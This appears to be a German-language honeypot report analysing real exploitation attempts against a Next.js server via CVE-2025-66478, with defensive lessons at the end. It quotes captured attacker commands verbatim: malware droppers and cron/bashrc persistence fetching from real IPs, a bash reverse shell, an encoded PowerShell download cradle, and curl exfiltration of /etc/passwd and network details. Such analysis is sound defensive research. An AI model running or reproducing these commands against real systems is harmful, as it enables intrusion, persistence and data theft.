CVE-2025-66478 - Analyse echter Angriffslogs der Next.js Server Actions RCE-Schwachstelle

Übersicht

Dieses Projekt sammelt echte Angriffslogs, die von einer im Internet freigegebenen Next.js 15.1.2-Anwendung (ausgeführt in einem Docker-Container) aufgezeichnet wurden. Diese Logs zeigen, wie die Schwachstelle CVE-2025-66478 im Feld von massiven automatisierten Angriffstools gescannt und ausgenutzt wird.

Aufzeichnungszeitraum: 2025-12-04 ~ 2025-12-06 (ca. 48 Stunden)

Umgebungsinformationen:

• Framework: Next.js 15.1.2
• Ausführungsumgebung: Bun v1.2.20
• Container: Docker (Alpine Linux)
• Zeitzone: Asia/Taipei

Angriffstypen-Statistiken

1. Schadprogramm-Download und -Ausführung (Dropper/Downloader)

Angreifer versuchen, über die Schwachstelle Befehle zum Herunterladen und Ausführen von Schadsoftware auszuführen.

Beispiel für Angriffsbefehle

# Typischer Dropper-Angriff
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# Einschleusen einer Cron-Hintertür zur Persistenz
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# Komplexer Persistenzangriff (mehrere Download-Methoden + Cron + Bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. Reverse Shell

Angreifer versuchen, eine Reverse-Shell-Verbindung herzustellen, um interaktiven Zugriff zu erhalten.

# Bash Reverse Shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. PowerShell-Angriffe (Fehleinschätzung für Windows)

Angreifer nehmen fälschlicherweise an, dass das Ziel ein Windows-System ist, und versuchen, PowerShell-Befehle auszuführen.

# Base64-kodiertes bösartiges PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# Dekodiert:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# Mathematische Berechnungen zur Schwachstellenbestätigung
powershell -c "41*271"      # = 11111 (Bestätigungscode)
powershell -c "44225*41002" # = 1814113450

4. Informationssammlung (Information Gathering)

Angreifer versuchen, Systeminformationen für weitere Angriffe zu sammeln.

# Systeminformationen sammeln und exfiltrieren
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. Anmeldeinformationsdiebstahl (Credential Harvesting)

Angreifer versuchen, verschiedene sensible Dateien und Anmeldeinformationen auszulesen.

Versuchte sensible Pfade

6. Exfiltration von Umgebungsvariablen

Erfolgreich exfiltrierte Container-Umgebungsvariablen über die Schwachstelle:

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. DNS-Exfiltration

Angreifer verwenden DNS-Abfragen zur Datenexfiltration oder Schwachstellenbestätigung:

ping 5a58e4a0.log.dnslog.pp.ua.

Gründe für fehlgeschlagene Angriffe

Die meisten Angriffe scheitern aufgrund der reduzierten Natur von Alpine Linux-Containern:

Obwohl wget verfügbar ist, verlassen sich einige bösartige Skripte intern auf curl oder bash, was zur Fehlausführung führt.

Base64-Decodierungsbeispiele

Die Logs enthalten eine große Menge Base64-kodierter Daten. Nachfolgend einige dekodierte Ergebnisse:

Exfiltration von Systeminformationen

# digest: 'cm9vdAo='
Dekodiert: root

# digest: 'dGVzdAo='
Dekodiert: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Dekodiert: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Dekodiert: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Exfiltration von Verzeichnislisten

# /tmp Verzeichnisinhalt
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

Dekodiert:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Angriffsquell-IP-Statistiken

Nachfolgend die aufgezeichneten IP-Adressen der Angriffsquellen:

Angriffsvektoren

Server Action-Aufruf

Angreifer versuchen, nicht existierende Server Actions aufzurufen:

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Informationsleck in Fehlerantworten

Angreifer nutzen das digest-Feld in Fehlermeldungen aus, um Daten zu exfiltrieren:

Error: x
  digest: 'cm9vdAo='  // Base64-kodiertes 'root'

Wichtige Lehren

1. Best Practices für Containersicherheit

• Minimale Images: Verwenden Sie schlanke Basis-Images (z.B. Alpine), um die Angriffsfläche zu reduzieren
• Entfernen unnötiger Werkzeuge: Installieren Sie keine Tools wie curl, bash, python, die missbraucht werden könnten
• Schreibgeschütztes Dateisystem: Führen Sie Container mit --read-only aus
• Nicht-Root-Benutzer: Führen Sie die Anwendung als unprivilegierter Benutzer aus

2. Schwachstellenbehebung

• Aktualisieren Sie Next.js auf eine gepatchte Version
• Validieren Sie die Eingaben von Server Actions
• Implementieren Sie WAF-Regeln zur Filterung verdächtiger Anfragen

3. Überwachung und Erkennung

• Überwachen Sie ungewöhnliche Unterprozessausführungen
• Überwachen Sie ausgehende Netzwerkverbindungen
• Überwachen Sie Zugriffsversuche auf sensible Dateien

Haftungsausschluss

Dieses Projekt dient ausschließlich der Sicherheitsausbildung und Forschung. Alle aufgezeichneten Angriffe sind echte Angriffsversuche auf einen Forschungs-Honeypot. Verwenden Sie diese Informationen nicht für illegale Zwecke.

Malware-Beispiele

Dieses Projekt enthält echte Malware-Beispiele, die aus den Angriffslogs extrahiert und heruntergeladen wurden. Eine detaillierte Analyse finden Sie unter:

malware_samples/ANALYSIS.md

Erhaltene Proben

Zusammenfassung der Angriffsmethoden

1. nz.sh - Installation des Nezha-Überwachungsagenten zur Fernüberwachung des kompromittierten Hosts
2. tsd.sh + tsd - Mehrere Persistenzmechanismen (Cron + systemd + rc.local)
3. init.sh + agent - Vollständiges Hintertür-Framework mit Unterstützung für mehrere Systeme, automatischem Neustart und Protokollierung

Verwandte Ressourcen

• Next.js Security Advisories
• OWASP - Command Injection
• MITRE ATT&CK - Execution

Lizenz

MIT License